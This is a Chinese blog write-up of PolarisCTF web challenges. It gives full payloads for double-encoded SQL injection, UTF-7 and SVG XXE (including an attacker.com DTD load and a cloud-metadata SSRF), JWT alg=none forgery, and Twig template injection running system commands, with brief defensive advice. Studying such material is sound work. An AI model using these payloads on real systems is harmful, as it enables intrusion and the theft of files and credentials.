news 2026/10/31 3:40:08

PolarisCTF Web赛题解析:SQL注入与XXE漏洞实战

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
PolarisCTF Web赛题解析:SQL注入与XXE漏洞实战

1. PolarisCTF招新赛Web题目复现概述

作为国内知名的网络安全竞赛平台,PolarisCTF每年都会举办面向新人的招新赛事。今年的Web安全赛题延续了往年的技术风格,涵盖了从基础到进阶的各类Web漏洞类型。本文将选取其中5道具有教学价值的题目进行完整复现,包括:SQL注入绕过、XXE漏洞利用、JWT伪造、SSTI模板注入以及非常规文件上传漏洞。

这类CTF赛题的设计往往模拟真实Web应用中的安全缺陷,但又会加入一些特殊限制条件来增加挑战性。通过复现这些题目,安全研究人员可以深入理解漏洞原理,并掌握在实际渗透测试中可能用到的特殊技巧。

2. SQL注入题目:二次编码绕过WAF

2.1 题目环境分析

题目提供了一个简单的登录页面,表单提交至/login.php。页面源码提示存在admin账户,但需要获取密码。常规的SQL注入测试发现过滤了单引号、union等关键词。

通过Burp Suite拦截请求发现,服务端对输入进行了URL解码:

POST /login.php HTTP/1.1 username=admin' AND 1=1--

2.2 双重URL编码绕过

尝试对注入语句进行两次URL编码:

username=admin%2527%2520AND%25201%253D1%2520--

服务端第一次解码后变为:

username=admin%27%20AND%201=1%20--

第二次解码后最终执行:

username=admin' AND 1=1--

2.3 完整利用过程

  1. 判断注入点:
username=admin%2527%2520AND%25201%253D1%2520--%2520&password=1 返回欢迎信息 username=admin%2527%2520AND%25201%253D2%2520--%2520&password=1 返回登录失败
  1. 获取数据库版本:
username=admin%2527%2520AND%2520extractvalue(1,concat(0x7e,(select%2520@@version),0x7e))%2520--%2520
  1. 最终获取flag:
username=admin%2527%2520AND%2520extractvalue(1,concat(0x7e,(select%2520flag%2520from%2520flags),0x7e))%2520--%2520

关键点:现代WAF通常只做一次URL解码,二次编码可有效绕过过滤规则。实际渗透测试中,这种技巧在遇到Cloudflare等WAF时尤为有效。

3. XXE漏洞利用:非常规协议读取文件

3.1 题目特征分析

题目提供一个XML数据上传接口,表面功能是解析用户提供的XML并返回处理结果。测试发现禁用了一般的外部实体引用。

3.2 利用UTF-7编码绕过

  1. 构造UTF-7编码的XML:
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4 +ADwAIQ-ENTITY xxe SYSTEM +ACI-php://filter/convert.base64-encode/resource=/etc/passwd+ACI +AD4AXQA+ +ADw-foo+AD4AJg-xxe;+ADw-/foo+AD4
  1. 发送请求:
POST /parse_xml.php HTTP/1.1 Content-Type: text/xml;charset=UTF-7 ...UTF-7编码内容...
  1. 服务端返回base64编码的/etc/passwd内容

3.3 进阶利用:SSRF探测内网

修改实体为:

+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://169.254.169.254/latest/meta-data/+ACI +AD4

经验分享:当遇到XML解析器禁用外部实体时,可以尝试:1) 不同编码格式 2) SVG文件上传 3) SOAP请求注入。UTF-7编码在老旧系统中仍有较高成功率。

4. JWT伪造:算法混淆攻击

4.1 题目JWT分析

题目使用JWT进行会话管理,获取到的Token格式:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QifQ.X_XvYUwQ7jRs8cRgFZ25q0pMq1m9jy5E7Z4X5lW6rgY

解码后Header:

{"alg":"HS256","typ":"JWT"}

Payload:

{"user":"guest"}

4.2 算法混淆攻击步骤

  1. 修改Header为:
{"alg":"none","typ":"JWT"}
  1. 构造未签名Token:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ.
  1. 某些JWT库会认为"none"算法不需要验证签名

4.3 实际利用中的变种

当服务端禁用none算法时,可以尝试:

  1. HS256 -> RS256混淆
  2. 弱密钥爆破(使用jwt_tool工具)
  3. JKU参数注入

防护建议:服务端应严格指定允许的算法列表,并验证密钥一致性。开发中应使用最新版本的JWT库,避免已知漏洞。

5. SSTI模板注入:Twig沙箱逃逸

5.1 题目功能分析

题目提供一个"动态报告生成"功能,用户输入名称后会生成HTML报告。测试发现存在Twig模板注入:

输入{{7*7}}返回49确认漏洞存在,但常规的{{_self}}等对象被过滤。

5.2 沙箱逃逸步骤

  1. 获取环境对象:
{{_context|json_encode}}
  1. 通过map过滤器调用方法:
{{["id"]|map("system")|join(",")}}
  1. 完整利用链:
{{["cat /flag",0]|sort("system")|join(",")}}

5.3 其他模板引擎检测

不同模板引擎检测方式:

  • Jinja2:{{ ''.__class__ }}
  • Freemarker:<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
  • Velocity:#set($x=$e.getClass().forName("java.lang.Runtime"))

开发警示:模板引擎应始终在沙箱环境中运行,禁用危险函数和对象访问。对于用户提供的模板内容,应进行严格的白名单过滤。

6. 非常规文件上传:SVG到SSRF

6.1 题目上传限制

  • 仅允许上传image/svg+xml类型
  • 文件内容需包含标签
  • 文件大小限制5KB

6.2 SVG内嵌XXE攻击

  1. 构造恶意SVG:
<svg xmlns="http://www.w3.org/2000/svg"> <!ENTITY xxe SYSTEM "file:///etc/passwd"> <text>&xxe;</text> </svg>
  1. 上传后访问返回的URL获取文件内容

6.3 进阶利用:内网端口扫描

修改为:

<!ENTITY xxe SYSTEM "http://127.0.0.1:8080">

通过响应时间判断端口开放情况

6.4 绕过内容检查技巧

  1. 混淆DOCTYPE声明:
<svg> <!--><?xml version="1.0" ?>--> <!DOCTYPE svg [ <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe; ]> </svg>
  1. 使用CDATA包裹恶意内容

防御方案:处理SVG时应禁用外部实体引用,使用安全的XML解析器配置。同时应将SVG文件视为潜在威胁,在专用沙箱环境中渲染。

7. CTF Web题通用解题思路

通过以上题目复现,可以总结CTF Web题的基本解题框架:

  1. 信息收集阶段
  • 审查页面源码和注释
  • 检查HTTP头信息
  • 分析使用的技术栈(框架、服务器、数据库等)
  1. 漏洞探测阶段
  • 常规漏洞测试(SQLi、XSS、文件包含等)
  • 特殊参数测试(JSONP、CORS、SSRF等)
  • 协议处理测试(CRLF、HTTP参数污染等)
  1. 利用开发阶段
  • 绕过过滤机制(编码、混淆、非常规语法)
  • 组合多个低危漏洞形成完整攻击链
  • 开发自动化利用脚本
  1. 提权与持久化(高级题目)
  • 从Web到系统的横向移动
  • 权限维持技术应用
  • 痕迹清除与反取证

在实际CTF比赛中,Web题目往往需要选手具备:

  • 对HTTP协议的深入理解
  • 常见Web漏洞的原理掌握
  • 编程能力(Python脚本编写)
  • 创造性思维(非常规解决方案)

建议新手从OWASP Top 10漏洞入手,逐步扩展到更复杂的攻击场景。同时要养成分析漏洞根源的习惯,而不仅仅是记住利用方法。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/31 3:39:39

开源GNN评估仪表盘:提升软件测试效能的下一代工具

1. 开源GNN评估仪表盘&#xff1a;软件测试社区的下一代效能工具在软件测试领域&#xff0c;评估模型性能一直是个痛点。传统方法要么依赖静态报告&#xff0c;要么需要手动整理数据&#xff0c;效率低下且难以追踪历史变化。我们团队基于图神经网络(GNN)开发的评估仪表盘&…

作者头像 李华
网站建设 2026/10/31 3:38:57

制造业AI落地避坑指南:从伪专家到实战者的经验总结

干制造业AI落地这行十几年&#xff0c;我参加过不下百场项目对接会&#xff0c;听过无数顶着各种头衔的"AI专家"在台上讲"智能工厂""数字化转型"。讲得是真漂亮&#xff0c;但一聊到具体的产线数据、工艺节拍、设备接口&#xff0c;就开始打太极…

作者头像 李华
网站建设 2026/10/31 3:38:56

从代码补全到软件工程智能体:Codex实践复盘

说句实在话&#xff0c;代码生成大模型这个概念这几年已经被讲烂了&#xff0c;但真正拿它干活的人心里都清楚&#xff0c;光靠“补全下一段代码”根本撑不起完整的软件工程。Codex真正让人兴奋的点&#xff0c;是把大模型的能力从“你问我答”的对话工具&#xff0c;硬生生拉到…

作者头像 李华
网站建设 2026/10/31 3:38:50

AI驱动的渗透测试:LLM如何革新安全攻防

1. 当AI遇上渗透测试&#xff1a;LLM如何重构安全攻防三年前我参与某次红队演练时&#xff0c;曾花费整整三天手工编写针对特定CMS的漏洞利用代码。如今借助大语言模型&#xff08;LLM&#xff09;&#xff0c;同样的工作只需在ChatGPT对话框中输入自然语言指令&#xff0c;30秒…

作者头像 李华
网站建设 2026/10/31 3:38:07

极值点、驻点与鞍点:导数判别、不可导点及优化应用

1. 一个反例摆上台面&#xff1a;导数等于零的位置&#xff0c;凭什么可能什么都不是带过几轮答疑之后&#xff0c;我发现一个特别稳定的现象&#xff1a;凡是卡在极值点和驻点这两个概念上的&#xff0c;十有八九不是不会求导、不会解方程&#xff0c;而是边界没划清。有人算出…

作者头像 李华
网站建设 2026/10/31 3:36:52

少样本恶意软件检测:MAML与自编码器协同方案

1. 这不是又一个“AI杀毒软件”&#xff1a;它解决的是传统检测体系里最让人头疼的冷启动问题你有没有遇到过这种情况&#xff1a;公司新上线了一款工业控制软件&#xff0c;刚部署三天就被一种从未见过的变种勒索程序盯上——它改了壳、换了入口点、混淆了所有字符串&#xff…

作者头像 李华